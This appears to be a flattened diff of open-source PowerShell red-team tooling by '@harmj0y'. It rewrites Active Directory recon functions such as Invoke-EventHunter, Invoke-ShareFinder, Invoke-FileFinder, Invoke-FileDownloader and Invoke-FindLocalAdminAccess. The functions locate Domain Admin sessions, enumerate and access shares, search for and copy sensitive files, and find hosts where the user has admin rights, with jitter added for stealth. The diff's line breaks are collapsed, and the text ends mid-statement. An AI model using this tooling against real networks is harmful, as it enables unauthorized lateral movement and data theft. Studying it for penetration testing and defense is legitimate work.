http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ - #> + .PARAMETER SearchForest - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + Switch. Search all domains in the forest for target users instead of just + a single domain. - [string] - $HostList, + .PARAMETER Threads - [string] - $HostFilter, + The maximum concurrent threads to execute. - [string] - $ShareList, + .EXAMPLE - [Switch] - $OfficeDocs, + PS C:\> Invoke-EventHunter - [Switch] - $FreshEXES, + .LINK - [string[]] - $Terms, + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] [String] - $TermList, + $ComputerFile, - [string] - $AccessDateLimit = '1/1/1970', + [String] + $ComputerFilter, - [string] - $WriteDateLimit = '1/1/1970', + [String] + $ComputerADSpath, - [string] - $CreateDateLimit = '1/1/1970', + [String] + $GroupName = 'Domain Admins', - [Switch] - $IncludeC, + [String] + $TargetServer, - [Switch] - $IncludeAdmin, + [String] + $UserName, - [Switch] - $ExcludeFolders, + [String] + $UserFilter, - [Switch] - $ExcludeHidden, + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [String] + $Domain, + + [String] + $DomainController, - [Switch] - $CheckWriteAccess, + [Int32] + $SearchDays = 3, [Switch] - $NoPing, - - [string] - $Domain, + $SearchForest, + [ValidateRange(1,100)] [Int] - $MaxThreads = 20 + $Threads ) begin { - If ($PSBoundParameters['Debug']) { + + if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } - # figure out the shares we want to ignore - [String[]] $excludedShares = @("C$", "ADMIN$") + # random object for delay + $RandNo = New-Object System.Random - # see if we're specifically including any of the normally excluded sets - if ($IncludeC){ - if ($IncludeAdmin){ - $excludedShares = @() - } - else{ - $excludedShares = @("ADMIN$") - } - } - if ($IncludeAdmin){ - if ($IncludeC){ - $excludedShares = @() - } - else{ - $excludedShares = @("C$") - } - } + Write-Verbose "[*] Running Invoke-EventHunter" - # get the target domain - if($Domain){ - $targetDomain = $Domain + if($Domain) { + $TargetDomains = @($Domain) } - else{ - # use the local domain - $targetDomain = $null + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } } - - Write-Verbose "[*] Running Invoke-FileFinderThreaded with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) } - $shares = @() - $servers = @() + ##################################################### + # + # First we build the host target set + # + ##################################################### - # if there's a set of terms specified to search for - if ($TermList){ - if (Test-Path -Path $TermList){ - foreach ($Term in Get-Content -Path $TermList) { - if (($Term -ne $null) -and ($Term.trim() -ne '')){ - $Terms += $Term - } + if(!$ComputerName) { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + elseif($ComputerFilter -or $ComputerADSpath) { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath } } else { - Write-Warning "[!] Input file '$TermList' doesn't exist!" - return $null - } - } - - # if we're hard-passed a set of shares - if($ShareList){ - if (Test-Path -Path $ShareList){ - foreach ($Item in Get-Content -Path $ShareList) { - if (($Item -ne $null) -and ($Item.trim() -ne '')){ - # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder - $share = $Item.Split("`t")[0] - $shares += $share - } + # if a computer specifier isn't given, try to enumerate all domain controllers + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for domain controllers" + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} } } - else { - Write-Warning "[!] Input file '$ShareList' doesn't exist!" - return $null + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" } } - else{ - # otherwise if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + # users we're going to be searching for + $TargetUsers = @() + + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = @( $UserName.ToLower() ) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController | Foreach-Object { + $_.MemberName } } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } } - # script blocks that eunmerates share or a server - # these are called by the multi-threading code later - $EnumShareBlock = { - param($Share, $Terms, $ExcludeFolders, $ExcludeHidden, $FreshEXES, $OfficeDocs, $CheckWriteAccess) - - $cmd = "Invoke-SearchFiles -Path $share $(if($Terms){`"-Terms $($Terms -join ',')`"}) $(if($ExcludeFolders){`"-ExcludeFolders`"}) $(if($ExcludeHidden){`"-ExcludeHidden`"}) $(if($FreshEXES){`"-FreshEXES`"}) $(if($OfficeDocs){`"-OfficeDocs`"}) $(if($CheckWriteAccess){`"-CheckWriteAccess`"})" - - Write-Verbose "[*] Enumerating share $share" - Invoke-Expression $cmd + if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" } - $EnumServerBlock = { - param($Server, $Ping, $excludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXES, $CheckWriteAccess) + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $SearchDays) # optionally check if the server is up first - $up = $true - if($Ping){ - $up = Test-Server -Server $Server + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } } - if($up){ + } - # get the shares for this host and display what we find - $shares = Get-NetShare -HostName $server - foreach ($share in $shares) { + } - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname + process { - # make sure we get a real share name back - if (($netname) -and ($netname.trim() -ne '')){ + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" - # skip this share if it's in the exclude list - if ($excludedShares -notcontains $netname.ToUpper()){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'SearchDays' = $SearchDays + } - $cmd = "Invoke-SearchFiles -Path $path $(if($Terms){`"-Terms $($Terms -join ',')`"}) $(if($ExcludeFolders){`"-ExcludeFolders`"}) $(if($OfficeDocs){`"-OfficeDocs`"}) $(if($ExcludeHidden){`"-ExcludeHidden`"}) $(if($FreshEXES){`"-FreshEXES`"}) $(if($CheckWriteAccess){`"-CheckWriteAccess`"})" - Invoke-Expression $cmd - } - catch { - Write-Debug "[!] No access to $path" - } - } - } - } + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 } - } - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 + ForEach ($Computer in $ComputerName) { - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + $Counter = $Counter + 1 - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) - } - } + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays + } } - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - $counter = 0 - - # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() - $jobs = @() - $ps = @() - $wait = @() } +} - process { - # different script blocks to thread depending on what's passed - if ($ShareList){ - foreach ($share in $shares){ - # make sure we get a share name - if ($share -ne ''){ - Write-Verbose "[*] Enumerating share $share ($($counter+1) of $($shares.count))" +function Invoke-ShareFinder { +<# + .SYNOPSIS - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, then for + each server it lists of active shares with Get-NetShare. Non-standard shares + can be filtered out with -Exclude* flags. - # create a "powershell pipeline runner" - $ps += [powershell]::create() + Author: @harmj0y + License: BSD 3-Clause - $ps[$counter].runspacepool = $pool + .PARAMETER ComputerName - # add the server script block + arguments - [void]$ps[$counter].AddScript($EnumShareBlock).AddParameter('Share', $Share).AddParameter('Terms', $Terms).AddParameter('ExcludeFolders', $ExcludeFolders).AddParameter('ExcludeHidden', $ExcludeHidden).AddParameter('FreshEXES', $FreshEXES).AddParameter('OfficeDocs', $OfficeDocs).AddParameter('CheckWriteAccess', $CheckWriteAccess).AddParameter('OutFile', $OutFile) + Host array to enumerate, passable on the pipeline. - # start job - $jobs += $ps[$counter].BeginInvoke(); + .PARAMETER ComputerFile - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle - } - $counter = $counter + 1 - } - } - else{ - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + File of hostnames/IPs to search. - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts + .PARAMETER ComputerFilter - foreach ($server in $Hosts){ - # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server ($($counter+1) of $($Hosts.count))" + Host filter name to query AD for, wildcards accepted. - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } + .PARAMETER ComputerADSpath - # create a "powershell pipeline runner" - $ps += [powershell]::create() + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - $ps[$counter].runspacepool = $pool + .PARAMETER ExcludeStandard - # add the server script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('Ping', -not $NoPing).AddParameter('excludedShares', $excludedShares).AddParameter('Terms', $Terms).AddParameter('ExcludeFolders', $ExcludeFolders).AddParameter('OfficeDocs', $OfficeDocs).AddParameter('ExcludeHidden', $ExcludeHidden).AddParameter('FreshEXES', $FreshEXES).AddParameter('CheckWriteAccess', $CheckWriteAccess).AddParameter('OutFile', $OutFile) + Switch. Exclude standard shares from display (C$, IPC$, print$ etc.) - # start job - $jobs += $ps[$counter].BeginInvoke(); + .PARAMETER ExcludePrint - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle - } - $counter = $counter + 1 - } - } - } + Switch. Exclude the print$ share. - end { - Write-Verbose "Waiting for scanning threads to finish..." + .PARAMETER ExcludeIPC - $waitTimeout = Get-Date + Switch. Exclude the IPC$ share. - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 - } + .PARAMETER CheckShareAccess - # end async call - for ($y = 0; $y -lt $counter; $y++) { + Switch. Only display found shares that the local user has access to. - try { - # complete async job - $ps[$y].EndInvoke($jobs[$y]) + .PARAMETER CheckAdmin - } catch { - Write-Warning "error: $_" - } - finally { - $ps[$y].Dispose() - } - } + Switch. Only display ADMIN$ shares the local user has access to. - $pool.Dispose() - } -} + .PARAMETER NoPing + Switch. Don't ping each host to ensure it's up before enumerating. -function Invoke-FileDownloader { - <# - .SYNOPSIS - Takes a file share list or the output of Invoke-FileFinder - and downloads each file to the specified directory. + .PARAMETER Delay - Author: @harmj0y - #> - [cmdletbinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - $FileName, + Delay between enumerating hosts, defaults to 0. - [String] - $FileList, + .PARAMETER Jitter - [String] - $OutputFolder="Downloads" - ) + Jitter for the host delay, defaults to +/- 0.3. - begin { - # if the output file isn't a full path, append the current location to it - if(-not ($OutputFolder.Contains("\"))){ - $OutputFolder = (Get-Location).Path + "\" + $OutputFolder - } + .PARAMETER Domain - # create the output folder if it doesn't exist - $null = New-Item -Force -ItemType directory -Path $OutputFolder + Domain to query for machines, defaults to the current domain. - # if we are passed a share list, enumerate each with appropriate options, then return - if($FileList){ - if (Test-Path -Path $FileList){ - foreach ($Item in Get-Content -Path $FileList) { - if (($Item -ne $null) -and ($Item.trim() -ne '')){ - if (-not $((Get-Item $Item.trim()) -is [System.IO.DirectoryInfo])){ - try { - $parts = ($Item.trim().trim("\")).split("\") - $parts[0..$($parts.Length-2)] -join "\" - $destinationFolder = $OutputFolder + "\" + $($parts[0..$($parts.Length-2)] -join "\") - if (!(Test-Path -path $destinationFolder)) {$null = New-Item $destinationFolder -Type Directory} - $null = Copy-Item -Path $Item.trim() -Destination $destinationFolder - } - catch { - Write-Warning "error: $_" - } - } - } - } - } - else { - Write-Warning "[!] Input file '$FileList' doesn't exist!" - return $null - } - return - } - } + .PARAMETER DomainController - process { - if(-not $FileList){ - - # if we have a FileFinder object passed, extract the file name - if($FileName.FullName){ - $FileName = $FileName.FullName.trim() - } - if (-not $((Get-Item $FileName) -is [System.IO.DirectoryInfo])){ - write-verbose "filename: $filename" - try{ - $parts = ($FileName.trim("\")).split("\") - write-verbose "creating $destinationFolder" - $destinationFolder = $OutputFolder + "\" + $($parts[0..$($parts.Length-2)] -join "\") - - if (!(Test-Path -path $destinationFolder)) {$null = New-Item $destinationFolder -Type Directory} - Write-Verbose "Copying file $FileName" - $null = Copy-Item -Path $FileName -Destination $destinationFolder - } - catch { - Write-Warning "error: $_" - } - } - } - } -} + Domain controller to reflect LDAP queries through. + .PARAMETER SearchForest -function Invoke-FindLocalAdminAccess { - <# - .SYNOPSIS - Finds machines on the local domain where the current user has - local administrator access. + Switch. Search all domains in the forest for target users instead of just + a single domain. - Idea stolen from the local_admin_search_enum post module in - Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' + .PARAMETER Threads - Author: @harmj0y - License: BSD 3-Clause + The maximum concurrent threads to execute. - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputers, then for - each server it checks if the current user has local administrator - access using Invoke-CheckLocalAdminAccess. + .EXAMPLE - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + PS C:\> Invoke-ShareFinder -ExcludeStandard - .PARAMETER HostList - List of hostnames/IPs to search. + Find non-standard shares on the domain. - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + .EXAMPLE - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 + PS C:\> Invoke-ShareFinder -Threads 20 - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + Multi-threaded share finding, replaces Invoke-ShareFinderThreaded. - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 + .EXAMPLE - .PARAMETER Domain - Domain to query for machines + PS C:\> Invoke-ShareFinder -Delay 60 - .EXAMPLE - > Invoke-FindLocalAdminAccess - Find machines on the local domain where the current user has local - administrator access. + Find shares on the domain with a 60 second (+/- *.3) + randomized delay between touching each host. - .EXAMPLE - > Invoke-FindLocalAdminAccess -Domain testing - Find machines on the 'testing' domain where the current user has - local administrator access. + .EXAMPLE - .EXAMPLE - > Invoke-FindLocalAdminAccess -Delay 60 - Find machines on the local domain where the current user has local administrator - access with a 60 second (+/- *.3) randomized delay between touching each host. + PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt - .EXAMPLE - > Invoke-FindLocalAdminAccess -HostList hosts.txt - Find which machines in the host list the current user has local - administrator access. + Find shares for machines in the specified hosts file. - .LINK - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ - #> + .LINK + http://blog.harmj0y.net +#> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] [String[]] - $Hosts, + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, - [string] - $HostList, + [Switch] + $ExcludeStandard, + + [Switch] + $ExcludePrint, - [string] - $HostFilter, + [Switch] + $ExcludeIPC, [Switch] $NoPing, + [Switch] + $CheckShareAccess, + + [Switch] + $CheckAdmin, + [UInt32] $Delay = 0, - [double] + [Double] $Jitter = .3, - [string] - $Domain + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads ) begin { - - If ($PSBoundParameters['Debug']) { + if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } - # get the current user - $CurrentUser = Get-NetCurrentUser - # random object for delay - $randNo = New-Object System.Random + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" + + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @('') - # get the target domain - if($Domain){ - $targetDomain = $Domain + if ($ExcludePrint) { + $ExcludedShares = $ExcludedShares + "PRINT$" } - else{ - # use the local domain - $targetDomain = $null + if ($ExcludeIPC) { + $ExcludedShares = $ExcludedShares + "IPC$" } - - Write-Verbose "[*] Running Invoke-FindLocalAdminAccess with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" + if ($ExcludeStandard) { + $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") } - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host file list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.count) -eq 0) { + throw "No hosts found!" } } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { + Write-Debug "[*] Server share: $Share" + $NetName = $Share.shi1_netname + $Remark = $Share.shi1_remark + $Path = '\\'+$ComputerName+'\'+$NetName + + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { + # if we're just checking for access to ADMIN$ + if($CheckAdmin) { + if($NetName.ToUpper() -eq "ADMIN$") { + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Debug "Error accessing path $Path : $_" + } + } + } + # skip this share if it's in the exclude list + elseif ($ExcludedShares -NotContains $NetName.ToUpper()) { + # see if we want to check access to this share + if($CheckShareAccess) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Debug "Error accessing path $Path : $_" + } + } + else { + "\\$ComputerName\$NetName `t- $Remark" + } + } + } + } + } } } process { - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'CheckShareAccess' = $CheckShareAccess + 'ExcludedShares' = $ExcludedShares + 'CheckAdmin' = $CheckAdmin + } - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams } - $counter = 0 + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } - foreach ($server in $Hosts){ + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 - $counter = $counter + 1 + ForEach ($Computer in $ComputerName) { - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" + $Counter = $Counter + 1 - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - # check if the current user has local admin access to this server - $access = Invoke-CheckLocalAdminAccess -HostName $server - if ($access) { - $ip = Get-HostIP -hostname $server - Write-Verbose "[+] Current user '$CurrentUser' has local admin access on $server ($ip)" - $server + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin } } + } } -function Invoke-FindLocalAdminAccessThreaded { - <# - .SYNOPSIS - Finds machines on the local domain where the current user has - local administrator access. Uses multithreading to - speed up enumeration. +function Invoke-FileFinder { +<# + .SYNOPSIS - Idea stolen from the local_admin_search_enum post module in - Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' + Finds sensitive files on the domain. Author: @harmj0y License: BSD 3-Clause - .DESCRIPTION + .DESCRIPTION + This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputers, then for - each server it checks if the current user has local administrator - access using Invoke-CheckLocalAdminAccess. + queries the domain for all active machines with Get-NetComputer, grabs + the readable shares for each server, and recursively searches every + share for files with specific keywords in the name. + If a share list is passed, EVERY share is enumerated regardless of + other options. + + .PARAMETER ComputerName - .PARAMETER Hosts Host array to enumerate, passable on the pipeline. - .PARAMETER HostList - List of hostnames/IPs to search. + .PARAMETER ComputerFile - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + File of hostnames/IPs to search. - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + .PARAMETER ComputerFilter - .PARAMETER Domain - Domain to query for machines + Host filter name to query AD for, wildcards accepted. - .PARAMETER MaxThreads - The maximum concurrent threads to execute. + .PARAMETER ComputerADSpath - .EXAMPLE - > Invoke-FindLocalAdminAccess - Find machines on the local domain where the current user has local - administrator access. + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - .EXAMPLE - > Invoke-FindLocalAdminAccess -Domain testing - Find machines on the 'testing' domain where the current user has - local administrator access. + .PARAMETER ShareList - .EXAMPLE - > Invoke-FindLocalAdminAccess -HostList hosts.txt - Find which machines in the host list the current user has local - administrator access. + List if \\HOST\shares to search through. - .LINK - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ - #> + .PARAMETER Terms - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + Terms to search for. - [string] - $HostList, + .PARAMETER OfficeDocs - [string] - $HostFilter, + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) - [Switch] - $NoPing, + .PARAMETER FreshEXEs - [string] - $Domain, + Switch. Find .EXEs accessed within the last week. - [Int] - $MaxThreads=10 - ) + .PARAMETER LastAccessTime - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + Only return files with a LastAccessTime greater than this date value. - # get the current user - $CurrentUser = Get-NetCurrentUser + .PARAMETER LastWriteTime - # random object for delay - $randNo = New-Object System.Random + Only return files with a LastWriteTime greater than this date value. - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } + .PARAMETER CreationTime - Write-Verbose "[*] Running Invoke-FindLocalAdminAccessThreaded with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + Only return files with a CreationDate greater than this date value. - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } + .PARAMETER IncludeC - # script block that eunmerates a server - # this is called by the multi-threading code later - $EnumServerBlock = { - param($Server, $Ping, $CurrentUser) + Switch. Include any C$ shares in recursive searching (default ignore). - $up = $true - if($Ping){ - $up = Test-Server -Server $server - } - if($up){ - # check if the current user has local admin access to this server - $access = Invoke-CheckLocalAdminAccess -HostName $server - if ($access) { - $ip = Get-HostIP -hostname $server - Write-Verbose "[+] Current user '$CurrentUser' has local admin access on $server ($ip)" - $server - } - } - } + .PARAMETER IncludeAdmin - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = 